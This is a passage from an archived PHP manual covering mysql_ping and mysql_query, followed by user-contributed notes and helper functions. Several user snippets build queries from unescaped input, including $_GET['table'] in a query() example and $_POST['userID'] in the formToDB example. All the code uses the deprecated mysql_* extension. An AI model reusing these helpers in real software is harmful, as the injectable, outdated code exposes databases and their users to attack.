    echo 'Query #1 failed, exiting.';
    exit;
}

/* Make sure the connection is still alive, if not, try to reconnect */
if (!mysql_ping($conn)) {
    echo 'Lost connection, exiting after query #1';
    exit;
}
mysql_free_result($result);

/* So the connection is still alive, let's run another query */
$result2 = mysql_query($sql2);
?>

See Also

  • mysql_thread_id() - Return the current thread ID
  • mysql_list_processes() - List MySQL processes

User Contributed Notes

Doug 19-Apr-2010 08:24
This function *does not* attempt to reconnect at this time.  It only tells you whether or not you currently *are* connected.

To actually reconnect, you will have to implement this yourself in a wrapper class.
alext at marketdream dot com dot mx 29-Sep-2009 08:28
mysql_ping() is really helpful when you have this annoying error:

MYSQL Error 2006 Server has gone away

For CI users:
In 1.7.2 version of codeigniter, there is a function

$this->db->reconnect()

that uses mysql_ping() to reestablish the timed out connection.

This function is specially useful when developing social media sites that uses hundreds of connections to the db such asinserting or selecting.
luky37 03-Feb-2009 11:15
If you get 'error 2006: MySQL server has gone away' messages when running (really) long scripts, mysql_ping will help detecting the loss of the db-connection. This can happen, when 'wait timeout' is reached (MySQL default is 8 hours).
oscar at bitagenda dot com 02-Oct-2007 04:10
Very confusing description.
... If it has gone down, an automatic reconnection is attempted
 (But the function returns only true or false, so if you have variable say $link = connection resource, it will be an invalid resource)

Then ...
... Note:  Since MySQL 5.0.13, automatic reconnection feature is disabled.

OK, if it returns false, I have the chance to reconnect updating my resource variable
$link = reconnect

But I did called the function with $link to do the check, so ...
If no such link is found, it will try to create one as if mysql_connect() was called with no arguments (this are  different arguments than automatic reconnection, doesn't it? I think, automatic reconnecting, say to $link, would be with its own arguments previously used to create the connection)

So bad decision about automatic recconection feature disabled ...

At least the function should have the param by reference, so in case it reconnects with a new link_identifier.

bool mysql_ping ( &[resource $link_identifier] )

Or a return value of link_identifier, not true.

if ($link=mysql_ping($link)) {...} else { whatever }
miro dot dietiker at md-systems dot ch 31-Aug-2007 11:32
When checking if a $resource works...
be prepared that mysql_ping returns NULL as long as $resource is no correct mysql resource.
<?php
$resource =NULL;
var_dump = @mysql_ping($resource);
# showing NULL
?>
This could be used to decide of a current $resource is a mysql or a mysqli connection when nothing else is available to do that...
dustin hawkins 31-Jul-2006 12:32
When using the mysql_ping command under php 5.1.2 and mysql 5.0, I was having problems with the auto-reconnect "feature", mainly that when the connection was severed, a mysql_ping would not automatically re-establish the connection to the database.

The connection to the DB is dropped when the time without a query excedes the wait_timeout value in my.cnf. You can check your wait_timeout by running the query "SHOW VARIABLES;"

If you're having problems auto-reconnecting when the connection is dropped, use this code:

<?php

$conn = mysql_connect('localhost','user','pass');
mysql_select_db('db',$conn);

if (!mysql_ping ($conn)) {
   //here is the major trick, you have to close the connection (even though its not currently working) for it to recreate properly.
   mysql_close($conn);
   $conn = mysql_connect('localhost','user','pass');
   mysql_select_db('db',$conn);
}

//run queries knowing that your connection is alive....

?>
cybot2000 at yahoo dot de 25-May-2005 04:44
It should be noted that mysql_ping() seems to reset the error message on the server.
I used it to check whether the connection was still alive before reading the error message via mysql_error() and it always returned an empty string. Upon removing the connection check everything worked.
vinicius at teracom dot com dot br 16-Mar-2004 07:35
Is important to remember that if your first connection to mysql don't works, mysql_ping will always return true! So, if you want to check if mysql is connected, first of all you must check if mysql_connect do not returns false and then you can begin to check mysql_ping.
mysql_pconnect
mysql_query
MySQL Functions


Send a MySQL query

mysql_ping
mysql_real_escape_string
MySQL Functions
PHP Manual

mysql_query

(PHP 4, PHP 5)

mysql_query — Send a MySQL query

Description

resource mysql_query ( string $query [, resource $link_identifier ] )

mysql_query() sends a unique query (multiple queries are not supported) to the currently active database on the server that's associated with the specified link_identifier.

Parameters

query

An SQL query

The query string should not end with a semicolon. Data inside the query should be properly escaped.

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

For SELECT, SHOW, DESCRIBE, EXPLAIN and other statements returning resultset, mysql_query() returns a resource on success, or FALSE on error.

For other type of SQL statements, INSERT, UPDATE, DELETE, DROP, etc, mysql_query() returns TRUE on success or FALSE on error.

The returned result resource should be passed to mysql_fetch_array(), and other functions for dealing with result tables, to access the returned data.

Use mysql_num_rows() to find out how many rows were returned for a SELECT statement or mysql_affected_rows() to find out how many rows were affected by a DELETE, INSERT, REPLACE, or UPDATE statement.

mysql_query() will also fail and return FALSE if the user does not have permission to access the table(s) referenced by the query.

Examples

Example #1 Invalid Query

The following query is syntactically invalid, so mysql_query() fails and returns FALSE.

<?php
$result = mysql_query('SELECT * WHERE 1=1');
if (!$result) {
    die('Invalid query: ' . mysql_error());
}

?>

Example #2 Valid Query

The following query is valid, so mysql_query() returns a resource.

<?php
// This could be supplied by a user, for example
$firstname = 'fred';
$lastname  = 'fox';

// Formulate Query
// This is the best way to perform an SQL query
// For more examples, see mysql_real_escape_string()
$query = sprintf("SELECT firstname, lastname, address, age FROM friends
    WHERE firstname='%s' AND lastname='%s'",
    mysql_real_escape_string($firstname),
    mysql_real_escape_string($lastname));

// Perform Query
$result = mysql_query($query);

// Check result
// This shows the actual query sent to MySQL, and the error. Useful for debugging.
if (!$result) {
    $message  = 'Invalid query: ' . mysql_error() . "\n";
    $message .= 'Whole query: ' . $query;
    die($message);
}

// Use result
// Attempting to print $result won't allow access to information in the resource
// One of the mysql result functions must be used
// See also mysql_result(), mysql_fetch_array(), mysql_fetch_row(), etc.
while ($row = mysql_fetch_assoc($result)) {
    echo $row['firstname'];
    echo $row['lastname'];
    echo $row['address'];
    echo $row['age'];
}

// Free the resources associated with the result set
// This is done automatically at the end of the script
mysql_free_result($result);
?>

See Also

  • mysql_connect() - Open a connection to a MySQL Server
  • mysql_error() - Returns the text of the error message from previous MySQL operation
  • mysql_real_escape_string() - Escapes special characters in a string for use in an SQL statement
  • mysql_result() - Get result data
  • mysql_fetch_assoc() - Fetch a result row as an associative array
  • mysql_unbuffered_query() - Send an SQL query to MySQL without fetching and buffering the result rows.

User Contributed Notes

seingh at patronum dot tk 18-Aug-2011 11:08
usefully function to use insend of mysql_query:
<?php
$mysql_last_query = ""; //this var contains the last mysql query
function query($sql, $args) { #sintax: query("query", "arg1", "arg2", "argn"); EXAMPLE: query("select * from %s", $_GET["table"]);
    global $mysql_last_query;
    $args = func_get_args();
    if(($num = func_num_args()) > 1)
        $sql = call_user_func_array("sprintf", $args);
    $mysql_last_query = $sql;
    return mysql_query($sql);
}
function select($table, $what = "*", $where = "", $limit = ""){ #this function is a "shortcut" for mysql select EXAMPLE: select("blah"); //SELECT * FROM blah and so on
    return mysql_query("SELECT ".$what." FROM ".$table.($where == "" ? "":(" WHERE ".$where)).($limit == "" ? "":(" LIMIT ".$limit)));
}
?>
elephant 19-Jan-2011 08:49
you can speed up your query by using multiple insert simultaneously using this syntax:

"INSERT INTO table (id,box) VALUES (1,'box1'),(2,'box2'),(3,'box3')"
ddlshack [at] gmail.dot.com 20-Dec-2010 09:12
Use this to neatly insert data into a mysql table:

<?php
function mysql_insert($table, $inserts) {
    $values = array_map('mysql_real_escape_string', array_values($inserts));
    $keys = array_keys($inserts);

    return mysql_query('INSERT INTO `'.$table.'` (`'.implode('`,`', $keys).'`) VALUES (\''.implode('\',\'', $values).'\')');
}
?>

For example:

<?php

mysql_insert('cars', array(
    'make' => 'Aston Martin',
    'model' => 'DB9',
    'year' => '2009',
));
?>
Anonymous 03-Feb-2010 02:49
This is a small function I wrote for handling NULL values in MySQL. (See examples below)

<?php
function parseNull($data)
{
        // Be sure your data is escaped before you use this function
    if (chop($data) != "")
        if (strtolower(chop($data)) == "null")
            return "NULL";
        else
            return "'" . $data . "'";
    else
        return "NULL";
}
?>

When you pass it a value, it checks if it is a blank string or the string 'null'. If so, it returns NULL. If not, it wraps your data in single quotes.
This allows you to more easily default a field to null when you insert or update data into your database. To use it, set up a mysql insert or update query for a text field without the single quotes, like this:

<?php
// Escape your data before using it with parseNull()
$my_data = mysql_escape_string($my_data);

mysql_query("INSERT INTO `my_table` VALUES (1," . parseNull($my_data). ")");
?>

When $my_data contains the string "null" or a blank string, the value NULL is inserted. When it is not, the value is wrapped in single quotes and this string is inserted.

Warning: Escape the data before passing it to parseNull! parseNull does not escape the data. If you escape after using the parseNull function, the single quotes that parseNull generates will be escaped.

Examples:
When passed the ALREADY ESCAPED string "mydata", parseNull returns:
'mydata'
The resulting mysql query, using the code above, is:

INSERT INTO `my_table` VALUES (1, 'mydata')

When passed the ALREADY ESCAPED string "null", parseNull returns:
NULL
The resulting query is:
INSERT INTO `my_table` VALUES (1, NULL)

When passed the ALREADY ESCAPED blank string "", parseNull returns:
NULL
The resulting query is:
INSERT INTO `my_table` VALUES (1, NULL)
szczepan.krolgmail.c0m 21-Oct-2009 04:49
<?php
/*
 * If `ve made a fast way to
 * get a sql statement out of a array
 * Just give an array to the function with
 *  your Keys (sql) and the
 * values in the other array
 *
 * array('keys'=>array('key','key2','key3'),
           'values'=>array(
            array('test','test2','test3'),
            array('best','best2','best3'),
            array('nest','nest2','nest3'),
             )
           );
 *
 * returns:
 * insert:  "(`key`,`key2`,`key3`)VALUES ('test','test2','test3'), ('best','best2','best3'), ('nest','nest2','nest3')"
 * Update:  "SET `key`='test', `key2`='test2', `key3`='test3'"
 *
 *
 */

$params=array('keys'=>array('key','key2','key3'),
           'values'=>array(
            array('test','test2','test3'),
            array('best','best2','best3'),
            array('nest','nest2','nest3'),
             )
           );

echo array2Sql($params,'insert');

function array2Sql($params=array(),$mod='insert')
{

#make it uniform (for insert, if only an pure array given)
if(!is_array($params['values']['0'])){
     $new['values']['0']=$params['values'];
     $params['values']= $new['values'];
}

switch($mod){

     case'insert':
      $vals=array();
      $keys='(`'.join('`,`',$params['keys']).'`)';

      foreach($params['values'] as $k=>$v){

             $vals[]='(\''.join('\', \'',$v).'\')';

      }
           $vals=implode(',', $vals);

      return $sql=$keys.'VALUES '.$vals;

     case'update':
      $sets=array();
      $i=0;
      foreach($params['values']['0'] as $k=>$v){
          $sets[]='`'.$params['keys'][$i].'`=\''.$v.'\'';
           $i++;
      }
       return $sql='SET '.implode(', ',$sets);

     }
     return false;

}
?>
Richie (at) RichieBartlett.com 28-Sep-2009 04:43
For those of you whom spent hours bashing your brains against the keyboard wondering why your non-English characters are output as question marks... Try the following:

<?php

$db = mysql_connect('YOUR_DB_ADDRESS','YOUR_DB_USER','YOUR_DB_PASS') or die("Database error");
mysql_select_db('YOUR_DB', $db);

//SOLUTION::  add this comment before your 1st query -- force multiLanuage support
$result = mysql_query("set names 'utf8'");

$query = "select * from YOUR_DB_TABLE";
$result = mysql_query($query);

//-THE_REST_IS_UP_TO_YOU-

?>

Simply run the query "set names 'utf8' " against the MySQL DB and your output should appear correct.
Anonymous 25-Jun-2009 08:18
When processing a RENAME TABLE query, PHP apparently always returns false, no matter if the query was successfully processed or not.
Stratsimir Kolchevski 22-Jun-2009 05:51
The documentation claims that "multiple queries are not supported".

However, multiple queries seem to be supported. You just have to pass flag 65536 as mysql_connect's 5 parameter (client_flags). This value is defined in /usr/include/mysql/mysql_com.h:
#define CLIENT_MULTI_STATEMENTS (1UL << 16) /* Enable/disable multi-stmt support */

Executed with multiple queries at once, the mysql_query function will return a result only for the first query. The other queries will be executed as well, but you won't have a result for them.
Andy McReed 01-Mar-2009 12:28
Even though executing multiple queries from one string isn't possible with the mysql_query method there is a way to do it which i found on this guys site (http://www.dev-explorer.com/articles/multiple-mysql-queries). Basically you just explode your SQL string by the semicolon (;) separating the queries and then loop through the resulting array executing each one individually. Saves you from having lines and lines of function calls in your code.
ialsoagree 30-Jan-2009 08:24
When you run a select statement and receive a response, the data types of your response will be a string regardless of the data type of the column.

<?php
// Query to select an int column
$query = 'SELECT user_id FROM users WHERE user_id = 1';
$result = mysql_query($query);
$array = mysql_fetch_assoc($result);

// Echoes: string
echo gettype($array['user_id']);
?>
girishpadia at gmail dot com 18-Jan-2009 11:01
Hello all,

I have extended mysql_query function to have more flexibility. It is a php file say "run_query.php". Include this file in your php application. To use this follow this steps.

1) Create a table in mysql with the following structure.

CREATE TABLE `errorlog` (
`query` varchar(5000) default NULL,
`error` varchar(5000) default NULL
)

2) Create a php file and paste following code. Save the file (say file name is run_query.php).

<?php
function mysql_query_($query)
{
    include "pass1.php";
    $curdate = date("d-m-Y H:i:s");
    if(mysql_query($query) == true)
    {
        if(substr(strtoupper($query),0,6) == 'INSERT' || substr(strtoupper($query),0,5) == 'UPDATE' || substr(strtoupper($query),0,5) == 'DELETE')
        {
            $fp=fopen("trans.sql","a");
            if($fp==null)
            {

                die("File cannot be opened. Try again !!!");
            }
            $printline = "/* $curdate : */ $query ;";
            fprintf($fp,"\r\n%s",$printline);
            fclose($fp);
            return true;
        }
        else
        {
            return mysql_query($query);
        }
    }
    else
    {
        $error = mysql_error();
        $error = addslashes($error);
        $query = addslashes($query);
        mysql_query("insert into errorlog values('$query','$error')");
        return false;
    }
}
?>

3) Include this file in your any php application.
4) Use mysql_query_ function instead of mysql_query function.

Advantages.

1) You can log query and error in your database table (errorlog).

2) A sql file created/appendended whenever any Data manipulation query is fired. So you can have a complete transaction log in query format.

3) This sql file will help you in "point in time recovery" in case of the database is crashed.

Your views ,comments and updation in this function are welcome.

girishpadia@gmail.com
Anonymous 19-Oct-2008 02:22
Relying in external functions doesn't help you in learning programming, that is calling external functions without having an idea of their use.

<?PHP
function mysql_queryf($string)
{
    $args = func_get_args();
    array_shift($args);
    $len = strlen($string);
    $sql_query = "";
    $args_i = 0;
    for($i = 0; $i < $len; $i++)
    {
        if($string[$i] == "%")
        {
            $char = $string[$i + 1];
            $i++;
            switch($char)
            {
                case "%":
                    $sql_query .= $char;
                    break;
                case "u":
                    $sql_query .= "'" . intval($args[$args_i]) . "'";
                    break;
                case "s":
                    $sql_query .= "'" . mysql_real_escape_string($args[$args_i]) . "'";
                    break;
                case "x":
                    $sql_query .= "'" . dechex($args[$args_i]) . "'";
                    break;
            }
            if($char != "x")
            {
                $args_i++;
            }
        }
        else
        {
            $sql_query .= $string[$i];
        }
    }
    return mysql_query($sql_query);
}
?>
lanbotdevman 22-Sep-2008 08:01
I modified a bit script originally posted by
ix at nivelzero dot ro
14-Aug-2005 01:07

This allows using large .sql files without getting 'memory size exhausted' error.

<?php
function parse_mysql_dump($url) {

    $handle = @fopen($url, "r");
    $query = "";
    while(!feof($handle)) {
        $sql_line = fgets($handle);
        if (trim($sql_line) != "" && strpos($sql_line, "--") === false) {
            $query .= $sql_line;
            if (preg_match("/;[\040]*\$/", $sql_line)) {
                $result = mysql_query($query) or die(mysql_error());
                $query = "";
            }
        }
    }
}
?>
Mr. Tim 18-Sep-2008 11:42
It should be noted that mysql_query can generate an E_WARNING (not documented).  The warning that I hit was when the db user did not have permission to execute a UDF.

Expected behavior would be like an Invalid SQL statement, where there is no E_WARNING generated by mysql_query.

Warning: mysql_query() [function.mysql-query]: Unable to save result set in filename.php

The mysql_errno is 1370 and the mysql_error is:

execute command denied to user 'username'@'%' for routine 'database_name.MyUDF'
i dot prasoon at gmail dot com 07-Aug-2008 08:07
The function formToDB($table, $exceptions = '', $sql_type = 'insert', $sql_condition = NULL) is not working properly. Problem with exceptional fields is there.

        I modified this function and now it is working properly. Here is the changed function -

function formToDB($table, $exceptions = '', $sql_type = 'insert', $sql_condition = NULL) {

  // define some vars
  $fields = '';
  $values = '';

  // format input fields into sql
  foreach ($_POST as $field => $value) {

    if (!strstr($exceptions,$field)) {

      $value = mysql_real_escape_string($value);
      if ($sql_type == 'insert') {

        $fields .= "$field, ";
        $values .= "'$value', ";
      }
      else {
        $fields .= "$field = '$value', ";
      }
    }
  }

  // remove trailing ", " from $fields and $values
  $fields = preg_replace('/, $/', '', $fields);
  $values = preg_replace('/, $/', '', $values);

  // create sql statement
  if ($sql_type == 'insert') {
    $sql = "INSERT INTO $table ($fields) VALUES ($values)";
  }
  elseif ($sql_type == 'update') {
    if (!isset($sql_condition)) {
      echo 'ERROR: You must enter a sql condition!';
      exit;
    }
    $sql = "UPDATE $table SET $fields WHERE $sql_condition";
  }
  else {
    echo 'ERROR: Invalid input for argument $sql_type: must be "insert" or "update"';
    exit;
  }

  // execute sql
  if (mysql_query($sql)) {
    return true;
  }
  else {
    //echo mysql_error();
    return false;
  }

}
steves at splicer dot com 06-Aug-2008 04:20
Clarification to masteracc0 at aol dot com's earlier note:

<?php
// from masteracc0
$result1 = mysql_query($query1);

$result2 = mysql_query($query2);

//$result1 IS NOT EQUAL TO $result2 but will not provide an error

//but printing these queries to the screen will provide the same result
echo($result1);
echo($result2);
?>

$result1 and $result2 are different not because of the null string terminator but because they are not the results of the queries. They are resource handles to the results of (functionally identical, though this is irrelevant) queries run at different times.

So there will be no error as long as the query is valid. The actual result of the query will be the same regardless of the null string:

<?php
    // substitute your own simple query
    $testquery = "SELECT name FROM days WHERE uid=1";
    $withnull = $testquery . "\0";

    $result1 = mysql_query($testquery);
    $result2 = mysql_query($withnull);
    $result3 = mysql_query($testquery);

    echo($result1);
    echo("<br />" . $result2);
    echo("<br />" . $result3);

    echo ("<br /> \$result1 and \$result2 equal?");
    echo $result1 == $result2 ? "yes!" : "no";

    echo ("<br /> \$result1 and \$result3 equal?");
    echo $result1 == $result3 ? "yes!" : "no";

    $testresult1 = mysql_fetch_assoc($result1);
    $testresult2 = mysql_fetch_assoc($result2);
    $testresult3 = mysql_fetch_assoc($result3);

    echo ("<br /> \$testresult1 and \$testresult2 equal? ");
    echo $testresult1 == $testresult2 ? "yes!" : "no";

    echo ("<br /> \$testresult1 and \$testresult3 equal? ");
    echo $testresult1 == $testresult3 ? "yes!" : "no";

?>

You can see in none of these cases does the null character change the equality. Results 1 and 3 come from the same query and the comparisons are the same as the comparison of results 1 and 2. The resource handles are different, the results are the same.

This means you need not fear the null character. Just understand that a new resource handle is created every time you call mysql_query().
pascalxusPLEASENOSPAM at yahoo dot com 21-Jul-2008 12:16
Here is an example of using the mysql_query in the context of connecting to a database.

<?php
  function connect( $dbName )
  {
    do {
      $databaseResponse = mysql_connect(
      "example.com", "username", "password" );
      sleep(1);
    } while( $databaseResponse === false );

    @ $selectResult = mysql_select_db( $dbName ) or dieFunc();
  }

  function executeQuery( $query, $db )
  {
      if( $db != "" ) connect( $db );
      else connect( "pascal_crm" );

      $result= mysql_query( $query );
      $err   = mysql_error();
      if( $err != "" ) echo "error=$err  ";
      mysql_close();
      return $result;
  }

?>
fernandoleal at loytek dot com 16-Jun-2008 03:28
Dunno if is it a bug but when you are working with replications servers and work with multiple databases queries if you don't select the database it will only insert,update,delete into the master and bypass the slave, I think it its because it doesn't insert the sql on the binary log so the work around its to just call mysql_select_db
MYSQL : 5.0.51a-log
PHP: 5.2.6
Example:
<?php
#Inserts only to master
$link=mysql_connect('host','user','pass');
$sql ="INSERT INTO mysql.host (host) VALUES ('localhost');"
var_dump(mysql_query($sql,$link));

#The Working Way Master - Slave
$link2=mysql_connect('host','user','pass');
$select_db = mysql_select_db('mysql', $link2);
var_dump(mysql_query($sql,$link2));
?>
uramihsayibok, gmail, com 13-Apr-2008 01:46
Similar to the queryf() posted by sk89q, I've found this small function quite handy.

Just please, please, PLEASE remember to escape your strings!
<?php

function mysql_queryf($query) {
    if (func_num_args()>1) {
        $args=func_get_args();
        $query=call_user_func_array("sprintf",$args);
    }
    return mysql_query($query);
}

// Allows for things like
$resultset=mysql_queryf("SELECT * FROM `table` WHERE `id`=%u LIMIT 1", $_GET["id"]);
// $_GET["id"] will be converted to an integer: 0 if it's invalid

?>
With a little modification it can handle a $connection resource too.
rogier 10-Apr-2008 06:55
For all you programmers out there getting the 'Command out of synch' errors when executing a stored procedure call:

There are known bugs related to this issue, and the best workaround for avoiding this error seems to be switching to mysqli.

Still, I needed mysql to also handle these calls correctly.
The error is normally related to wrong function call sequences, though the bug report at  http://bugs.php.net/bug.php?id=39727 shows otherwise.

For me, after commenting out hundreds of lines and several introspection calls to parse the procedure information (using information_schema and 'SHOW' extensions), I still got the same error.
The first result is returned, because I initiated my connection using the MYSQL_MULTI_RESULTS value of 131072 (forget this and you will never get any output, but an error message stating mysql cannot return results in this context)

After testing with this code (sproc2 simply calls 'SELECT * FROM sometable'), I found the error must be in the mysql library/extension. Somehow, mysql does not handle multiple resultsets correctly, or is at least missing some functionality related to handling multiple results.

<?php
    //...
    $rs = mysql_query('CALL sproc2(500)');
    while (($row=mysql_fetch_assoc($rs))!==false) {
        print_r($row);
    }
    mysql_free_result($rs);

    $rs = mysql_query('CALL sproc2(500)');
    print mysql_error(); //the notorious 'command out of synch' message :(
    while (($row=mysql_fetch_assoc($rs))!==false) {
        print_r($row);
    }
    mysql_free_result($rs);
?>

After spending hours debugging my code (the full library is already over the MB), the only solution seemed to be to CLOSE the connection after the first call, and reopening it before the second.

So if you ever make a uniform database accessing interface and implement stored procedures/prepared statements (or classes for it), this could be a solution if you really wish to enable stored procedures.

Still, be aware that this is really a serious flaw in your design (and IMHO, the mysql extension)

Also see the documentation for mysqli on mysqli_query, which seems to be working fine.
kriskra at gmail dot com 23-Feb-2008 11:06
Here is a small neat function to print out the mysql result as a html table:

<?php
function echo_result($result) {
  ?><table><tr><?
  if(! $result) { ?><th>result not valid</th><? }
  else {
    $i = 0;
    while ($i < mysql_num_fields($result)) {
      $meta = mysql_fetch_field($result, $i);
      ?><th style="white-space:nowrap"><?=$meta->name?></th><?
      $i++;
    }
    ?></tr><?

    if(mysql_num_rows($result) == 0) {
      ?><tr><td colspan="<?=mysql_num_fields($result)?>">
      <strong><center>no result</center></strong>
      </td></tr><?
    } else
      while($row=mysql_fetch_assoc($result)) {
        ?><tr style="white-space:nowrap"><?
        foreach($row as $key=>$value) { ?><td><?=$value?></td><? }
        ?></tr><?
      }
  }
  ?></table><?
}
?>
sk89q 17-Feb-2008 01:56
sprintf+mysql_query which auto-escapes.

Usage:
<?php
$db->queryf("SELECT `m`.`name` FROM `test`.`members` WHERE `name`=%s OR `id`=%d OR `sex` IN (%a)", "Evil 'injection'", 'NaN', array('male', 'female', 'both', 'other', "Alien quote'man"));
?>

To be put into a class, and don't forget to change the $this->query() and $this->escape() functions accordingly.

<?php
function queryf($sql)
{
    $args = func_get_args();
    @array_shift($args);

    $this->queryf_args = $args;
    $this->queryf_i = 0;

    $query = preg_replace_callback("#%(.)#", array($this, 'queryf_format'), $sql);

    return $this->query($query);
}

function queryf_format($m)
{
    $args = $this->queryf_args;
    $i = &$this->queryf_i;

    switch($m[1])
    {
        case '%':
            return "%";
        case 'a':
            $s = array();
            $arr = $args[$i++];
            foreach($arr as $x)
            {
                $s[] = "'".$this->escape($x)."'";
            }
            return implode(",", $s);;=
        case 's':
            return "'".$this->escape($args[$i++])."'";
        case 'd':
            return "".intval($args[$i++])."";
        default:
            trigger_error("Bad type specifier: {$m[1]}", E_USER_ERROR);
    }
}
?>
masteracc0 at aol dot com 17-Nov-2007 10:00
Keep in mind when dealing with PHP & MySQL that sending a null-terminated string to a MySQL query can be misleading if you use echo($sql) in PHP because the null terminator may not be visible.

For example (this assumes connection is already made),
$string1 = "mystring\0";
$string2 = "mystring";

$query1 = "SELECT * FROM table WHERE mystring='".$string1."'"
$query2 = "SELECT * FROM table WHERE mystring='".$string2."'"

$result1 = mysql_query($query1);

$result2 = mysql_query($query2);

//$result1 IS NOT EQUAL TO $result2 but will not provide an error

//but printing these queries to the screen will provide the same result
echo($result1);
echo($result2);

Not knowing this could lead to some mind-numbing troubleshooting when dealing with any strings with a null terminator.  So now you know! :)
patrick at ciphertek dot com 20-Sep-2007 10:28
If you spend a lot of time writing pages that take input from a form and insert it into a database, this function will save you time!

Please Note: You have to name your form fields the same as their corresponding table column is named in mysql for this to work.

<?php

// $table - name of the mysql table you are querying
// $exceptions - fields that will not be inserted into table
//               i.e. 'submit, action, '; (note trailing comma and space!)
// $sql_type - has to be 'insert' or 'update'
// $sql_condition - have to define this if $sql_type = 'update'
//                  i.e. "userID = '".$_POST['userID']."'"
function formToDB($table, $exceptions = '', $sql_type = 'insert', $sql_condition = NULL) {

  // define some vars
  $fields = '';
  $values = '';

  // format input fields into sql
  foreach ($_POST as $field => $value) {
    if (!preg_match("/$field, /", $exceptions)) {
      $value = mysql_real_escape_string($value);
      if ($sql_type == 'insert') {
        $fields .= "$field, ";
        $values .= "'$value', ";
      }
      else {
        $fields .= "$field = '$value', ";
      }
    }
  }

  // remove trailing ", " from $fields and $values
  $fields = preg_replace('/, $/', '', $fields);
  $values = preg_replace('/, $/', '', $values);

  // create sql statement
  if ($sql_type == 'insert') {
    $sql = "INSERT INTO $table ($fields) VALUES ($values)";
  }
  elseif ($sql_type == 'update') {
    if (!isset($sql_condition)) {
      echo 'ERROR: You must enter a sql condition!';
      exit;
    }
    $sql = "UPDATE $table SET $fields WHERE $sql_condition";
  }
  else {
    echo 'ERROR: Invalid input for argument $sql_type: must be "insert" or "update"';
    exit;
  }

  // execute sql
  if (mysql_query($sql)) {
    return true;
  }
  else {
    //echo mysql_error();
    return false;
  }

} // end of function formToDB()

// Example for inserting new row
formToDB('users', 'submit, ');

// Example for updating existing row
formToDB('users', 'submit, userID, ', 'update', "userID = '".$_POST['userID']."'");

?>
ollitech at gmail dot com 25-Aug-2007 10:53
Running an invalid delete query may not return false.

Invalid because no such record exists.

Code;

[php]
    //  execute it
                      $result=mysql_query($sql_delete_byindex);

                      if(!$result||$result==FALSE){

                                                echo("<h1>Error occured while removing listing #: <i>".$rec_index."</i> </H1>");

                                    }else if($result==TRUE){

                                                echo("<h1>Listing #: <i>".$rec_index."</i> Deleted!</H1>");

                                    echo "<a href=\"index.php\">Go to Start Page</a>";

                                    }
[/php]

Query;
[code]
$sql_delete_byindex = "DELETE FROM `$mysql_table` WHERE `index` = '".$rec_index."' AND `key` = '".$key."'";
[/code]

result will be TRUE
halion at gmail dot com 09-Aug-2007 02:53
mysql_query doesnt support multiple queries, a way round this is to use innodb and transactions

this db class/function will accept an array of arrays of querys, it will auto check every line for affected rows in db, if one is 0 it will rollback and return false, else it will commit and return true, the call to the function is simple and is easy to read etc
----------

class MySQLDB
{
   private $connection;          // The MySQL database connection

   /* Class constructor */
   function MySQLDB(){
      /* Make connection to database */
      $this->connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS) or die(mysql_error());
      mysql_select_db(DB_NAME, $this->connection) or die(mysql_error());
   }

   /* Transactions functions */

   function begin(){
      $null = mysql_query("START TRANSACTION", $this->connection);
      return mysql_query("BEGIN", $this->connection);
   }

   function commit(){
      return mysql_query("COMMIT", $this->connection);
   }

   function rollback(){
      return mysql_query("ROLLBACK", $this->connection);
   }

   function transaction($q_array){
         $retval = 1;

      $this->begin();

         foreach($q_array as $qa){
            $result = mysql_query($qa['query'], $this->connection);
            if(mysql_affected_rows() == 0){ $retval = 0; }
         }

      if($retval == 0){
         $this->rollback();
         return false;
      }else{
         $this->commit();
         return true;
      }
   }

};

/* Create database connection object */
$database = new MySQLDB;

// then from anywhere else simply put the transaction queries in an array or arrays like this:

   function function(){
      global $database;

      $q = array (
         array("query" => "UPDATE table WHERE something = 'something'"),
         array("query" => "UPDATE table WHERE something_else = 'something_else'"),
         array("query" => "DELETE FROM table WHERE something_else2 = 'something_else2'"),
      );

      $database->transaction($q);

   }
jack dot whoami at gmail dot com 01-Aug-2007 06:13
Simulating an atomic operation for application locks using mysql.

$link = mysql_connect('localhost', 'user', 'pass');
if (!$link) {
    die('Not connected : ' . mysql_error());
}

// make foo the current db
$db_selected = mysql_select_db('foo', $link);
if (!$db_selected) {
    die ('Can\'t use foo : ' . mysql_error());
}

$q = "update `table` set `LOCK`='F' where `ID`='1'";
$lock = mysql_affected_rows();

If we assume
     NOT LOCKED = "" (empty string)
     LOCKED = 'F'

then if the column LOCK had a value other than F (normally should be an empty string) the update statement sets it to F and set the affected rows to 1. Which mean than we got the lock.
If affected rows return 0 then the value of that column was already F and somebody else has the lock.

The secret lies in the following statement taken from the mysql manual:
"If you set a column to the value it currently has, MySQL notices this and does not update it."

Of course all this is possible if the all application processes agree on the locking algorithm.
earlsinclair2001 at yahoo dot com 30-Apr-2007 01:14
On my latest project, very often, I needed to select a unique row from the database. For example: a certain user with certain username, or a row where the ID (primary key) is X. I got tired of typing these queries over and over so I created a simple function that will do just that: select one row from the database where certain field is unique. I hope this can be helpful to somebody:

<?php

function selectonerow($fieldsarray, $table, $uniquefield, $uniquevalue)
{
    //The required fields can be passed as an array with the field names or as a comma separated value string
    if(is_array($fieldsarray))
    {
        $fields = implode(", ", $fieldsarray);
    }
    else
    {
        $fields = $fieldsarray;
    }

    //performs the query
    $result = mysql_query("SELECT $fields FROM $table WHERE $uniquefield = '$uniquevalue'") or die("Could not perform select query - " . mysql_error());

    $num_rows = mysql_num_rows($result);

    //if query result is empty, returns NULL, otherwise, returns an array containing the selected fields and their values
    if($num_rows == NULL)
    {
        return NULL;
    }
    else
    {
        $queryresult = array();
        $num_fields = mysql_num_fields($result);
        $i = 0;
        while ($i < $num_fields)
        {
            $currfield = mysql_fetch_field($result, $i);
            $queryresult[$currfield->name] = mysql_result($result, 0, $currfield->name);
            $i++;
        }
        return $queryresult;
    }
}

?>

This function assumes there is a MySQL connection already established and the database to be used already selected.

Here is an example of usage:

selectonerow(fields, table name, unique field name, unique field value)

Let's say I have a users table with the fields userid, username, firstname, lastname and email. userid is the primary key and username is a unique field. If you want to select the firstname, lastname and email from the table where the userid is 4:

<?php

$fields = array("firstname", "lastname", "email");
$userdata = selectonerow($fields, "users", "userid", 4);

?>

or

<?php

$userdata = selectonerow("firstname, lastname, email", "users", "userid", 4);

?>

This will return an array to $userdata with the keys being the field name and their respective value. This is how you would print out their first name, last name and email, for example:

<?php

